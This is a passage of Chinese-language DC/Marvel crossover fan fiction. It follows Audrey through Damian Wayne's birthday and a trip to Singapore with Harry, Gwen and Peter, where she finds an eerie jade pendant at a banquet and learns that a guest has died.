“我对这一观点倒是没有意见。”达米安顿了顿，然后带点揶揄地说：“我觉得布鲁斯也应该听一听，以便他获得一些不断进步的动力。” “我的意思是……”奥德莉立刻改口，飞快地说：“他们各有千秋，不分伯仲。对，严格来说，是在完全不同的历史和科技背景下各自发挥所长，无法横向比较！” “狡猾的粉丝。”达米安撇了撇嘴。 “我只是在做出公正、中立的评论。”奥德莉大言不惭地说。 两人正说着话，忽然听见不远处传来一阵阵欢呼和掌声，夹杂着此起彼伏的手机拍照的“咔嚓”声。他们循声望去，发现蜘蛛侠一边把钱包递还给一位游客，一边用蛛丝把扒手黏到了旁边的一辆警车上。 那位幸运游客的表情中带着错愕和惊喜，连连道谢。而那名扒手正在骂骂咧咧，直到一片蛛丝把他的嘴封上，他才不得不改为怒瞪蜘蛛侠。 “注意语言。不要让人以为我们纽约人这么不文明。”蜘蛛侠正义凛然地说。 人群很快自发聚拢在周围，包括刚才那群活力十足的学生们。蜘蛛侠对被围观已经习以为常，轻松地和众人打着招呼，任由游客凑到他旁边合影。 过了一阵，蜘蛛侠准备射出蛛丝离开，却在那一刻下意识地朝人群边缘扫了一眼。然后他动作轻微地顿住了。 奥德莉正笑嘻嘻地看着他，与他四目相对时，她抬起一只手，竖起大拇指给了他一个赞。她旁边站着一位黑发青年，从两人之间的距离和站姿判断，他们并不是素昧平生的路人。 蜘蛛侠下意识地想说什么，奥德莉立刻将一根食指立在唇前，制止了蜘蛛侠。蜘蛛侠眨了眨眼，以一贯潇洒的身姿离开，那一道红蓝色的影子又一次引起游客的热烈欢呼。 奥德莉不是第一次看到蜘蛛侠在空中飞荡，依然每次都会为他流畅敏捷的动作惊叹，因为她很清楚彼得没有学过体操，在成为蜘蛛侠之前也并不是热衷运动的人。 “真令人羡慕。”奥德莉望着已经空无一人的天际线，不由感叹道：“那种常人所不能及的身体素质可以省下多少健身的时间啊。” “他可没少训练，不然不可能对自己的力量和速度掌握得这么熟练。”达米安做出专业判断。“那些看起来像是本能的反应，其实都是练出来的。” “好吧。”奥德莉认可地点点头，又冒出了新的问题：“那超人呢？他需要训练吗？” “当然也需要。”达米安解释道：“虽然他的身体几乎没有弱点，但力量越大，控制就越难。他要学会如何不在制止犯罪时把罪犯的骨头捏成粉末，如何在救人的时候不会无意中对那个人造成过大的力量冲击，如何用热视线划开障碍却不误伤旁人。这些全都需要练习。除此之外，战斗技巧和反应也需要通过大量的训练才能培养出来。” 奥德莉释然地呼出口气：“我忽然感觉心理平衡了。原来不得不训练的不只是我一个人。” 达米安有点诧异地说：“我还以为你挺喜欢训练的。” “喜欢归喜欢，但总得花时间在上面也很麻烦呀。要是能偷懒的话，我也不会拒绝。”奥德莉遗憾地说，又转头看向达米安：“说起来真是神奇，明明你们都很灵活，但蜘蛛侠不会让我产生那种‘他突然就消失了’的错觉。” “我们是很注重技巧的。为了营造出那种神秘的氛围，必须利用好地形和光线。”达米安有点得意地回答。“在夜里，只要掌握好角度，就能做到在别人眨眼的瞬间消失不见。” “所以大家才很难拍到你们在夜晚的照片。”奥德莉明白了。“也难怪在过去的很多年里，蝙蝠侠一直被认为是都市传说，因为那些号称拍到他的人，通常只是拍下一团模糊得难以分辨的影子。” 达米安露出一副与有荣焉的神情，仿佛那些古早的传说也有他的一份功劳。但事实上，那时候他还没有去哥谭，和蝙蝠侠一起配合着上演瞬间消失术的是出身马戏团、柔韧性极强的迪克。他补充道：“恐惧和不确定性本来就是震慑的一部分。事实证明，这个策略很成功。” “的确如此。非常适合哥谭的风格。”奥德莉说。 “蜘蛛侠离开之前看起来有点吃惊。”达米安忽然转换了话题。“他不知道你今天要和我见面？” “好吧，显然你知道他是谁。”奥德莉小声嘀咕了一句，说：“我只是告诉他我今天有重要安排，一整天都不在家。” “重要安排。”达米安心情愉快地重复了一遍。 奥德莉立刻瞪了达米安一眼：“不许重复我说的话。” 达米安一脸无辜地辩解道：“是你先说的。” “但我没有允许你复述一遍。”奥德莉气呼呼地说，然后语气一转，故意加了一句：“我没有告诉他我会和谁见面，因为他不认识你。你在纽约的知名度没那么高，我去哥谭之前也完全没留意过你。” “你现在认识我就行了。”达米安毫不在意地说。“至于在纽约的知名度，那对我来说完全没有意义。” “其实，就算是在哥谭，大家似乎也只是对布鲁斯的脸印象深刻，对你和其他韦恩家的孩子却没那么熟悉。”奥德莉回忆着。“这么一说，我忽然觉得哥谭群众非常专情。” “毕竟布鲁斯一个人每天制造出的花边新闻，可以顶得上我们所有人的了。”达米安叹了口气。“一方面，他确实是记者们最关注的对象，另一方面，他也实在擅长制造新闻。” “不过这样也有好处。”奥德莉说。“你不必走到哪里都警惕狗仔队的跟拍。我们在哥谭去过那么多店铺和餐厅，也没有人特意跑过来和你打招呼。” “可能因为他们不具备某个人的超级辨认能力。”达米安嘴角微翘。“没有人能凭着我的眼睛认出我，更别提另一重身份。” “你是在夸我，还是在沾沾自喜？”奥德莉撅起嘴，一副不满却又不是真生气的样子。“你明知道我的辨认能力就只在你身上起过一次作用，在布鲁斯身上就大翻车了。” 达米安的耳朵悄悄地红了，但他假装若无其事地看着前方，说：“那是因为我的面具遮掩力度不如他的。” “那你以后可要换一副严实点的。”奥德莉促狭地说。“我不希望还有其他人和我一样，一眼就认出你。” “除了你之外，别人都做不到。”达米安说，但立刻又加上一句：“不过我会改进面具的。” 奥德莉轻轻地咬了一下嘴唇，忽然间耳朵也红了。【你现在阅读的是 】 80-90 第81章 晚饭时，奥德莉和达米安的座位靠近一扇半开着的落地窗。他们能听见外面…… 晚饭时,奥德莉和达米安的座位靠近一扇半开着的落地窗。他们能听见外面隐约传来的车和行人的声音，并不吵闹，反倒像一层淡淡的背景音。 这是一家安静而温馨的法式餐厅,装潢典雅低调,复古黄铜吊灯洒下暖金色的灯光,桌上摆着精致的骨瓷餐具和点燃的小蜡烛，空气中弥漫着淡淡的奶油和香草气息。窗外街灯初亮，城市在夜色中渐渐柔化了轮廓。 正餐之后,服务员送上了一块精致的巧克力蛋糕，蛋糕表面覆盖着细腻的可可粉，边缘点缀着几颗覆盆子，中央插着一根细蜡烛。 “生日快乐。”奥德莉又一次这样说,声音轻柔而郑重。“许个愿吧。” 达米安听话地闭上了眼睛,浓密的睫毛在脸上投下柔和的影子，微微颤动着。奥德莉静静地望着他,有点好奇他许了什么愿望。 过了几秒后，达米安睁开眼，低头吹灭了蜡烛。 “采访一下。”奥德莉将蛋糕旁边的小勺子举到达米安唇边,“今天开心吗？” “开心。”达米安毫不犹豫地说。“非常开心。” 奥德莉笑弯了眼睛,说：“趁着今天还没结束，你还有什么想做的？” “我想和你预约明年的今天。”达米安说。“那天的行程由我来安排。” 奥德莉和达米安对视片刻，她在那双熟悉的绿色眼眸中看到了坚定和期许，这令她不由得心跳加速。她轻轻点头，说：“好。” 达米安满足地笑起来,然后问：“我送你回家？” 奥德莉看看时间,忽然露出个狡黠的笑容：“应该是我送你回家才对，这样你正好赶得上下一项活动。” “天啊,在我生日这一天你也要做监工吗？”达米安立刻垮起脸，像一只被夺走了小鱼干的猫咪。 “别傻了，这是我全年无休的兼职。”奥德莉说。 “是啊，没有工钱，全靠你乐在其中。”达米安故意用奥德莉能听见的音量嘀咕。“真应该给你颁发一个哥谭荣誉市民奖章。” 奥德莉被达米安的样子逗笑了，假装向往地说：“如果布鲁斯能亲自担任颁奖嘉宾的话，那就太好了。” 走出了餐厅，两人找了一处僻静的小巷，下一秒就传送到了韦恩庄园的客厅。 “还有最后一件事……在公众场合有点不好意思做。”奥德莉忽然说。“我倒是没什么，但觉得你会害羞。” 达米安的大脑像是突然短路了一下，整个人怔在原地。他盯着奥德莉，绿色眼睛里闪过一丝紧张，还有一点点莫名的期待。 奥德莉却从包里掏出一个可爱的圆筒尖帽，帽顶还晃着一小撮毛绒彩球，一本正经地说：“喏，过生日必不可少的——生日帽。” 达米安露出不可置信的表情：“你是认真的吗？” “当然。”奥德莉示意他低头。达米安撇撇嘴，但还是微微弯腰，让她可以轻松地为他戴上生日帽。 奥德莉还刻意调整了一下角度，让帽子俏皮地歪向一侧。她欣赏了一下，满意地点点头，笑着问：“要不要合影一张？” 达米安觉得自己现在看起来一定很傻，却还是答应了：“好。” 奥德莉转身背对达米安，举起手机准备自拍：“来，说‘cheese’！” 达米安将头侧向奥德莉，配合着她的屏幕角度。奥德莉连拍了数十张才收回手，低头翻看相册里的成果。 “这张你眨眼了，删掉……哦，这张我眨眼了，也删掉。”奥德莉一边说，一边快速滑动着筛选照片。 最终，她选出了几张特别满意的发给达米安：“好啦，我要回家啦。罗宾，去守护哥谭吧！” “晚安，西维塔。”达米安说。 奥德莉将食指与中指并拢，轻点前额，行了一个俏皮的礼，然后消失了。 几分钟后，达米安的手机响起奥德莉发布Ins的提示音。他点开一看，是一张黑猫玩偶的照片。那只玩偶静静地坐在窗台上，圆圆的头上戴着一顶十分眼熟的生日帽，帽尖歪歪地斜向一侧。根据光线判断，这张照片大概是她早上拍好的。 达米安微微眯起眼，盯着那张照片看了几秒，然后下意识地抬手摸了摸自己头上的帽子——角度也是一模一样的歪。 他“啧”了一声，嘴角慢慢扬起，又去读奥德莉的配文：“多谢模特配合。” 达米安立刻在评论里回复：“这种听话又乖巧的模特，应该得到很多奖励。” 很快，又一声提示音响起，是奥德莉为他的评论点了个赞。 八月五日，天还没亮，哈利的私人飞机已经从纽约机场缓缓起飞。乘客们在机舱内安顿下来，享用起丰盛的早餐。 三位家长们坐在一起，闲适地聊着天，四位年轻人则坐在机舱的另一侧。 布莱克激动地四处流窜，把整个飞机检阅了一遍，这才心满意足地趴回奥德莉旁边，好奇地听她和朋友们聊天，视线在几人身上转来转去。 “你这次具体的行程是什么啊？”奥德莉问哈利。“有时间一起去环球影城吗？” “应该是有的。”哈利是飞机上唯一一个穿着西装的乘客，不过大家已经看习惯了他的三件套，对此视若无睹。“我要去见一个投资人，他暂时不能回美国，所以我得亲自去一趟。” “这人是通缉犯吗？”奥德莉立刻思维发散。 “但是新加坡和美国有引渡条约。”格温说。 “我在你们眼里就是这个形象吗？”哈利无奈。“他放弃了美国国籍，据说税的事情还没梳理好，还需要一些时间处理。” “税和入境的关系是什么？国税局还管这个？”奥德莉困惑地问。 “据说移民法有规定，如果国税局认为某人退籍是为了躲避税收的话，那个人可能会被禁止入境美国。”哈利解释。“一般都是数额巨大的情况下才会被触发。” “哦，超级富豪的烦恼。”奥德莉感慨道。“我又获得了没有用的新知识。” “如果不是他的投资额太大，我真的不想和他打交道。”哈利有些疲惫地向后捋了捋头发，没想到手却被奥德莉按住了。 “珍爱发际线啊。”奥德莉认真地说，结果被完全不领情的哈利瞪了一眼。 “如果哪一天我秃了，一定是被你气的。”哈利抱怨一句，又继续讲起自己和投资人打交道的痛苦。“这人，就称为S吧，有个决裂多年的朋友Z。Z不知道从哪里听说S要投资，于是也来联系我，说想参与进来。” “有更多的投资，那不是很好吗？”彼得说。 “Z在商业条件上确实让步很多，但他有附加条件。他要求我新设立一个控股公司，由S、Z和我持股。” “所以Z的真正目的是和S联系上，最好能经常一起开开会、见见面。”格温立刻明白了。 “没错。”哈利点点头。“这次我的任务之一，就是想办法劝说S接受这个控股公司的安排。” “听起来像个婚姻调解员的工作。”奥德莉犀利地评论。 “差不多吧，所以我很烦。为什么找我干这个？”哈利用力地切着欧姆雷蛋。 “说不定你不是唯一一个被Z找上的，听起来他很急切地想恢复友谊。”格温沉思着。“你讲的这个故事，决裂的原因不会是一笔被稀释到0.03%的股份吧。” “很好，看来你也看过当年的新闻。”哈利默认了。“请务必对外保密。” “什么0.03%？”奥德莉迷茫地问。“好耳熟的数字……啊，我想起来了。” “你们在说什么？”彼得仍然一头雾水。 “我们在说这两位投资人的真实身份。他们是脸书的联合创始人，马克扎克伯格和爱德华多萨维林。”格温凑到彼得耳边解释。 “哦！”彼得这才跟上节奏。 马克扎克伯格以不怎么光彩的手段稀释了爱德华多萨维林34%的初始股份，两位大学好友因此对簿公堂，最后虽然和解，但却不再联系。 “如果新闻里写的是真的，我觉得Z的行为十分之不可原谅，你确定要替他做说客吗？感觉成功几率几乎是零。”奥德莉担忧地看看哈利。 “S的态度倒没那么强硬。”哈利耸耸肩。“反正试试也没什么损失，而且这次去新加坡，S会为我引荐一些亚洲投资人，有助于奥斯本集团的扩展。” “你需要一位像佩珀女士那样的总裁帮你分担，你一个人太辛苦了。”彼得说。 佩珀波兹是斯塔克工业的总裁，最初是托尼斯塔克的私人助理，后来逐渐成长为管理整个集团运营的人。 “我正在物色人选，但合适的人很难碰上。”哈利说。“毕竟这是很重要的职位，我不得不挑剔一点。” “祝你好运。”奥德莉同情地说。 纽约到新加坡的飞行时间很长，几人吃了玩，玩了吃，累了打个盹，醒来一看飞机还在途中，于是又坐下来吃吃喝喝。时间在高空中被拉得悠长而模糊。 吃到不知是第几餐的时候，奥德莉不小心将一个空杯子从桌上碰掉了。她惊呼一声，眼看杯子就要落地，彼得下意识地射出蛛丝将杯子黏住，杯子晃动了几下，随即悬在空中。 另外三个人都呆住了。奥德莉立刻伸手将杯子*放回桌上，哈利和格温则迅速环视四周——家长们仍在睡觉，空乘在上菜之后已经离开。 “你太大意了。”哈利低声批评道。 “没有其他人在。”彼得讷讷地说。“而你们都知道了……” “但飞机上毕竟不够私密。”哈利强调道。“空乘可能会忽然出现。” 彼得点点头：“我知道了，我会注意的。” 奥德莉没有留意哈利和彼得的对话，目光一直盯着那个杯子，心里莫名地有些烦躁。她微微皱起眉，问彼得：“你在救人的时候，也是只靠一根蛛丝黏住人吗？” “是啊，它看着细，但承重力很强的。怎么了？”彼得没有完全明白奥德莉的意思，但还是老实地回答了。 “我只是觉得，如果杯子是满的，那水还是会洒出来的。”奥德莉说。 第82章 奥德莉的话听起来有些莫名其妙，几位好友却没有打断，耐心地等她解释。…… 奥德莉的话听起来有些莫名其妙,几位好友却没有打断，耐心地等她解释。 她努力从脑海中抓住那一缕尚未成形的模糊念头，说：“空杯子只要在掉到地上之前被及时接住,它就不会摔碎。可如果杯子里装着水,用蛛丝去黏住它的话,虽然杯子能被接住，但水在惯性的作用下会晃出来，仍然会洒得到处都是。” 她顿了顿,又接着说：“我在想，人类的身体和装满水的杯子一样。我们的骨骼、大脑和内脏都非常脆弱，不适合承受剧烈的冲击。如果一个人从高处坠落，就算蛛丝能在最后一刻把他黏住,让他免于直接撞上地面,但这股突如其来的拉力也会让人的身体在空中急剧摆动，内部器官可能因为惯性而在体内剧烈晃动。” 格温明白了奥德莉的忧虑,她也沉思起来：“那样的话，人的身体内部会受到冲击，可能会造成脑震荡,也可能是内脏移位、骨折甚至是……死亡。危险其实并没有真正解除,就像水从杯子里被甩出来一样。” 哈利虽然不明白奥德莉为什么忽然对这件事情这么执着地分析，却也积极加入了讨论：“所以消防队救人的时候，通常会用上充气垫，它能起到减震和缓冲的作用，把落地时的冲击力尽量分散。” 他看向彼得,说：“正确的牵引方式可以让致命的垂直冲击力获得一个相对温和、时间被拉长的减速过程。只要控制得当,还能避免那种横向的剧烈摆动。” 彼得一直没插话，只是安静地听着三人的讨论。他认真回忆着过往的实战经历,思索了一会儿才开口：“铺开一张网，理论上是可行的，但那样消耗的蛛丝实在太多了，尤其是在城市高空、救人紧急的情况下。” “那如果你加速下落，先追上目标，然后用身体做缓冲呢？”格温说。 “超人就是这么做的，不过他有生物立场，能保护周围一定距离的人。”哈利想起超人在公开采访中分享的信息。 彼得想了想：“如果我的缓冲力度没掌握好，冲击力还是会传导到被救的人身上。”说到这里，他的眼睛忽然亮起来：“不过，我也许可以对我的战衣做一些改进，比如使用智能纤维和减震材料。我好像有思路了。” 他一边语速飞快地念叨着其他人听不清的术语，一边从背包里掏出了笔记本电脑，迅速地敲击键盘，将涌现的灵感一一记录下来。 另外三人笑了笑，没有去打扰彼得，小声地继续聊天。 哈利说：“我在考虑转学到纽约，正在联络哥伦比亚大学。” 奥德莉点点头：“留在纽约确实更方便。不过你现在已经这么忙了，如果再加上课业，身体能撑得住吗？” “总有办法的，反正我又不打算以第一等优秀毕业。”哈利并不担心。“我本来想退学算了，但又觉得还是有个大学毕业的名头更好听一些。” “现在好像也没人在意这些了，你看那些硅谷新贵，许多人甚至以退学为荣呢。”奥德莉半开玩笑道。 “那是西海岸，纽约还是更传统一些。”哈利摇摇头。 “我赞同哈利的选择。”格温说。“也许哈利能在生物系发现几个天才，招到奥斯本集团来和我们一起做研究。” “这确实是我的一部分动机。”哈利的笑容里带着一丝不加掩饰的野心。“我知道，能在学校遇到你和彼得这样的天才已经很幸运了，不过我还是很贪心地想，如果能再碰上几个聪明人，我们可以多成立几个项目组。” “你看，从普通大学生进化到资本家，只需要两个月的时间。”格温对奥德莉吐槽。 哈利无辜地看了看格温：“我的灵感明明是来自于你。”他转向奥德莉，解释道：“格温最近把帝国州立大学的几个同学推荐到奥斯本集团实习，他们虽然不是最顶尖的天才，但也是百里挑一的人才了。” 奥德莉本想吐槽哈利现在时刻不忘奥斯本集团的发展，连上学都另有所图，但她瞥见布莱克正一脸崇拜地看着哈利，绿眼睛都要变成美钞的颜色了，于是话锋一转：“哈利不努力压榨员工，奥斯本集团怎么赚钱？公司不赚钱，我们怎么享受私人飞机？我支持哈利。” 格温痛心疾首地说：“你已经被糖衣炮弹攻陷了，而我们甚至连单程都还没飞完呢。” 哈利完全没有因为得到奥德莉的“支持”而感到欣慰，一脸委屈地抗议道：“我给员工开的是业内顶尖的薪水好吗，怎么就成了压榨？而且我这么努力，还不是因为有个坏家伙整天对我念叨卢瑟集团的技术又突破了、又升级了，让我处于极大的危机感中，好像下一秒奥斯本集团就要被时代淘汰一样。” 奥德莉辩解道：“我担心你太忙了，对业内新闻关注不够。” “还有，韦恩集团的技术也被你吹得世间仅有。”哈利补充。 这一点纯粹是源于误会，当时她以为达米安是蝙蝠侠和布鲁斯韦恩生的孩子。奥德莉撅嘴，但没敢吭声。 “哦对了，还有南非那个武装势力，你也说是奥斯本集团望尘莫及的。”格温想起奥德莉之前在群里说的话，也笑起来。 “中东，不是南非。是中东。”奥德莉委委屈屈地纠正。这件事上可不是她夸张，刺客联盟的克隆技术已经不是地球常规水平了。 “一想到有这么多竞争对手走在前面，我晚上发愁得都睡不着觉。”哈利装出一副忧郁神情，语气夸张地说。 奥德莉讨好地去给哈利锤了几下肩膀，嘴里说的却是气人的话：“睡不着觉就起来工作嘛，不要浪费时间。” “而你，我的朋友，才是真正的资本家。”格温笑着对奥德莉竖起大拇指。 哈利无奈地摇摇头，按住奥德莉的手，说：“你根本不是真心给我按摩，你只是想让我更有精力干活。” 奥德莉本来也只是做做样子，“哼”了一声抽回手，理直气壮地说：“既然被你看穿了，那我也无需再费力气了。” 哈利无语凝噎。 到达新加坡时已经是当地下午。刚走出机舱，众人便感受到湿润的热气扑面而来。 在滨海湾金沙酒店稍作休整后，几人迫不及待地奔向牛车水。这里曾是新加坡的唐人街，如今已蜕变成融合现代购物中心、百年老店与琳琅满目的街头小摊的繁华商业区。街巷间人潮涌动，五彩斑斓的招牌与诱人的小吃香气交织出浓烈的市井风情。 新加坡特有的英殖民地风格建筑依然醒目，一排排色彩艳丽的店屋也格外吸睛。奥德莉驻足凝望，发现古老的庙宇巧妙地隐没在现代建筑之间，佛寺、印度庙宇与清真寺交相辉映。 “真是一座有趣的城市。现代文明的光辉下仍保留着历史的深沉与神秘。”奥德莉不禁感慨。 “我猜到你会很喜欢这里。”格温笑着说。 傍晚时分，家长们打算继续在外面逛逛，几个年轻人则匆匆赶回酒店，准备一同参加晚宴。 奥德莉和格温住在一个房间。造型师为两人打理好之后就离开了，奥德莉和格温一起站在镜子前，嘻嘻哈哈地互相夸了几句。 “哈利说要带我们见识一下亚洲富豪的纸醉金迷，我倒觉得他只是不想一个人孤单出席。”奥德莉歪头靠在格温肩膀上，轻轻叹了口气。 “他其实对这种场合感到很疲惫，我们四个人一起，他才能觉得有趣一些。”格温有点同情地说。 “我知道，所以我才答应做他的女伴。放心，我绝不会因为宴会上的美食把他一个人丢下。”奥德莉做了个鬼脸。 “我深表怀疑。”格温笑起来。 宴会场地布置得奢华而不张扬，细节中透着低调的华贵。在哈利与人谈得热烈时，奥德莉悄悄溜到自助餐台边，快乐地享受起东南亚美食。 在场的宾客并非全部都以英文交谈，比如此刻站在奥德莉不远处的两名亚裔男子。他们低声交谈着，语调里带着明显的紧张和不安，奥德莉完全听不懂内容，只能胡乱猜测他们说的或许是福建话或马来西亚语。 两个男人似乎在争吵，却又因为场合不得不压低声音。他们丝毫没有察觉奥德莉在竖起耳朵倾听，或者说即使察觉了也并不在意——在他们看来，她不过是个年轻的外国女孩，不可能听懂他们夹杂着方言与古语的低语。 要是达米安在的话，他一定能听懂。奥德莉一边吃着斑斓椰奶布丁，一边漫无边际地想着。 两个男人又说了几句便匆匆离开了。奥德莉好奇地望着他们的背影，又无聊地看向他们之前站着的地方。 也就是这一眼，她忽然发现地毯上隐隐多出了一样东西。 奥德莉放下盘子，环视一圈确认没人注意自己，快步走过去，蹲下身捡起那块半埋在华丽的地毯绒毛里的物件。 那是一块墨绿色玉佩，半个巴掌大小，色泽沉稳油润，上面刻着一只形似章鱼的扭曲生物，每一只触腕上都带着一只眼睛，旁边还有一些她看不懂的文字。 那些眼睛仿佛在凝望着奥德莉，这令她忽然感觉到一种莫名的恐慌。犹豫了片刻，她终究还是迅速地将玉佩塞进自己的手包，然后装作若无其事地走开几步。 她尽力回忆刚才那两个男人的模样——她觉得自己有把握把他们画下来发给达米安，说不定他能查出这两人的身份呢。 不远处，哈利朝奥德莉轻轻点了点头。奥德莉暂时放下思绪，调整了一下表情，快步走到哈利旁边，听着他把自己介绍给萨维林先生。 算算年龄，萨维林先生已经三十多岁了，但在经历了诸多事情之后，他的一双褐色眼睛里仍带着热诚与天真。 几句寒暄之后，萨维林先生被另一个熟人叫走攀谈，奥德莉终于逮到机会，凑到哈利的耳边低声说出自己的感想：“萨维林先生和彼得长得有点像。特别是那双眼睛，都像小鹿斑比。” 第83章 “我不确定他们听到你的评价会不会高兴。小鹿斑比听起来太幼稚了。”哈…… “我不确定他们听到你的评价会不会高兴。小鹿斑比听起来太幼稚了。”哈利因奥德莉的比喻而失笑,转头看向她。“虽然我也觉得他们两人是有一些相似。” 动作间，哈利无意中碰到奥德莉的手，被冰凉的触感吓了一跳。他立刻握住奥德莉的手,担心地问：“你不舒服吗？” “没什么,只是刚才受了一点惊吓。”奥德莉说。“不过不是什么大事。” 哈利深深地看了奥德莉一眼,说：“如果你需要回去休息的话，不必担心我。” “真的没事。”奥德莉感觉手已经被哈利捂得暖和了，把手抽回来,期待地说：“我很想看接下来的歌舞表演呢。” 演出美轮美奂，尽显南洋风情。甘美兰的琴音宛如水波轻荡，在夜晚缓缓流淌。舞者身披绣工精致的鲜艳纱笼，步履轻盈,旋转时犹如古老港湾上笼罩着夜航船的雾气。 “如果萨维林先生天天过的是这种日子,我能理解他为什么不回美国了。”回到房间后，奥德莉在床上快乐地滚来滚去,兴奋得困意全无。 格温好笑地说：“让你天天过这种生活，你可能又觉得空虚无趣了。” “也许吧。”奥德莉忽然想起手包里的东西还没处理，又从床上跳起来,说：“我去客厅打个电话,你先睡吧。” 格温露出一个了然的表情，说：“别睡太晚。” “知道啦。”奥德莉关上卧室的门，免得吵到格温。 她先快速地画了两张男人的脸部肖像，然后拍照发给达米安，发信息说：“有空吗？帮我查查这两个人是谁。谢谢啦。” 达米安正在训练室里进行搏击训练。轮休返家的迪克自告奋勇地加入了,两人对练了整整一个小时才停下。 略微平复了呼吸后,达米安走到一旁喝水。就在这时，他的手机响了几声。 他随意地擦了擦汗,迅速点开奥德莉发的消息，然后眼神中闪过一丝迟疑与困惑。他盯着那两张图看了好几秒，又读了一遍奥德莉的话，仿佛在试图从字里行间读出更深层的含义。 “小D，怎么了？”迪克察觉异样，一边擦汗一边问。 达米安却没立即回答，只是若有所思地盯着手机，表情难得地显出迷茫。 “发生什么事了？”迪克担心地凑近去看达米安的屏幕，然后也露出困惑的表情。他犹豫地说：“奥德莉是在和你开玩笑吗？你知道的，女生有时候不好意思主动联系你，会用请你帮忙作为借口。” “她不是这种性格。”达米安无奈地解释。“她只是对自己的绘画水平过于有信心了。” “这两张肖像画其实还不错。”迪克善良地评价着。“至少比起杰森那里挂着的两幅，看得出已经有了很大进步。” “但也完全不可能根据这两张照片找到任何人。”达米安略带悔意地叹了口气。“为了鼓励她，我可能对她夸得有点太过了。” “哦！”迪克感动地叫了一声。“你真是太体贴了。” 达米安有点恼怒地瞪了迪克一眼，同时暗自对迪克的话感觉很受用。他走到另一个房间，直接给奥德莉拨打了视频通话：“你不是在新加坡玩吗？怎么忽然要找这两个人？” 他顿了一下，目光落在屏幕的画面上。另一端的奥德莉身穿礼服，妆容精致，与平日里的随性装扮截然不同。此刻的她美丽得像一把出鞘的利刃，却又带着不自觉的距离感。 “你今天……和你在哥谭舞会那次的风格很不一样。” “那次是哈利选的，他喜欢那种甜美优雅的公主裙。这次是女生朋友选的，我们俩约好要尝试一下这种风格。”奥德莉笑起来，那种冷漠与疏离的感觉也随之散去，又恢复了她平时的生动和俏皮。“好看吗？” “好看。看来你玩得很开心。”达米安说。 “是呀，不过遇到了有点奇怪的事情。这两个人是我在晚上的宴会中见到的，他们给我的感觉有点古怪。我捡到了一枚他们争执后遗落的玉佩，原本打算送到前台的失物招领处，但上面刻的图案让我觉得十分不安。” “什么图案？”达米安问。他很快收到了奥德莉发的照片。“唔，是很诡异。” “你能看懂上面的文字吗？” “这是古爪哇语，八世纪到十六世纪间在东南亚广泛使用。”达米安放大图像，仔细辨认着：“这行字的意思是：影藏于眼，眼通向夜。” 奥德莉轻声重复了一遍，又去看那枚玉佩，说：“你看，每一只眼睛在触腕上的位置不同。而且是微微陷进去的，像是刻意做出的凹槽。” “你有什么想法了吗？”达米安问。 “它会不会是一把钥匙？这些眼睛的位置就像是钥匙的齿位，每一只的高低、角度都不同，只有它能吻合某一把特定的锁。” “有趣的猜测，那这把锁会在哪里呢？” “不知道，所以我想先调查一下这两个人。”奥德莉催促道，“你能进入任何地方的数据库，对吧？帮我查一查。” “举手之劳，只是……图片有点太不清晰了。”达米安斟酌着用语，“用它来做人脸对比，有点勉强。” 奥德莉忽然反应过来达米安话里的真正含义，郁闷地“哼”了一声，说：“算了，我还是把玉佩送到前台去吧。也许是我太多疑了。” 达米安想了想，提议道：“你可以描述那两个人的样貌，我用警方的肖像绘制软件帮你画出来。” 奥德莉闭上眼睛，轻声描述起脑海中的画面。十几分钟后，达米安发过来两张模拟画像，询问奥德莉的意见：“你看看，有没有需要修改的地方？” “眉毛再粗一点点，其它的简直惟妙惟肖。”奥德莉赞叹不已。“你太厉害了。” 达米安轻笑了一声，进入国际刑警的亚洲数据库中检索：“现在，让我们来看看他们到底是谁。” 检索结果很快出现在屏幕上，达米安快速浏览着资料，说：“丹尼尔李，中文名是李文嶙，出身显赫的富豪世家，毕业后在家族掌管的艺术基金会工作。小道消息说，最近几个月他的精神状态急转直下。” “也许正是他遗落了玉佩，这就说得通了，他看上去确实很憔悴，厚厚的粉底都遮掩不住黑眼圈。另一个人呢？” “文森特魏，私人收藏顾问，专精于东南亚文物。他牵涉多起未公开的文物盗窃案件，虽然缺乏确凿证据，却是国际刑警的重点监控对象。丹尼尔便是他众多客户中的一位。” “听起来是个可疑人物。”奥德莉说。 正在这时，房门被敲响了。奥德莉对达米安说了一句“稍等”，便快步去开门。 门外站着的是哈利和彼得。哈利仍穿着西装，脸上带着一点担忧。彼得穿着睡衣，头发还带着点湿气，茫然地跟着哈利。 “怎么了？”奥德莉侧身让他们进来，然后关上门。 哈利瞥见奥德莉手里的手机屏幕，问：“你在忙吗？” “在和达米安聊天。你认得他的。”奥德莉很自然地说。 哈利和达米安简单地打了个招呼，然后对奥德莉说：“我需要和你单独谈谈。” 达米安表情不变，对奥德莉说：“稍后联系。”然后便挂断了通讯。 哈利不动声色地问：“你们俩才认识多久，这么熟了？” “在哥谭的时候经常一起玩，他人很有趣。”奥德莉说。 “格温睡了吗？我其实是来找你们俩的。”哈利说。 “我去看看。”奥德莉说，轻声打开卧室门，将头探进去。 格温已经洗漱完，裹着睡袍，正在手机上看着什么。她听到声音，抬起头问：“我好像听见哈利的声音了？” “他说有事找我们。”奥德莉说。 “这么晚？”格温有点惊讶，起身和奥德莉走到客厅。 “我刚从警方那里得知，宴会上有一个人死了。”四个人都坐下后，哈利抛出这个惊天消息。 “啊？”另外三个人都目瞪口呆。 格温问：“具体是什么时候的事情？” “好像是演出期间发生的。死者是一个古董商人，叫文森特魏。”哈利说着，将手机屏幕上的照片展示给三人。照片上是文森特魏生前在新闻采访中的形象，姿态儒雅谦和，站在一幅东南亚古画前。 “警方不想把事情闹大，毕竟宴会上的人都非富即贵，但也在私下征集线索。这些信息是萨维林先生告诉我的。”哈利解释道，同时敏锐地注意到奥德莉的表情不太对。“怎么了？你见过他？” “我在自助餐台那边看到这个人和另一个男人在争执。”奥德莉迟疑地说。“我不太确定是不是在吵架，因为我听不懂他们的语言，只是根据语气和神情猜的。” “所以你才吓得双手冰凉？”哈利立刻联想到之前的事情。 “不是因为看到吵架而害怕。他们遗落了这枚玉佩。”奥德莉把玉佩放在几人中间的茶几上。“我捡了起来。上面的图案……让我感到不舒服。” “的确如此。”三人看到玉佩之后，也都觉得那些眼睛过于活灵活现了，仿佛在与他们对视。 “这上面写的是什么意思啊？”彼得忍不住好奇，大胆地拿起玉佩仔细查看。 “影藏于眼，眼通向夜。”奥德莉用神秘兮兮的语气说。她心里有点可惜，借用了达米安的翻译，却没办法替他炫耀一下。 “哇，你竟然能看懂。”彼得一脸崇拜地说，然后指着玉佩边缘一处浅浅的刻痕：“那这个呢？这个是数字吗？” 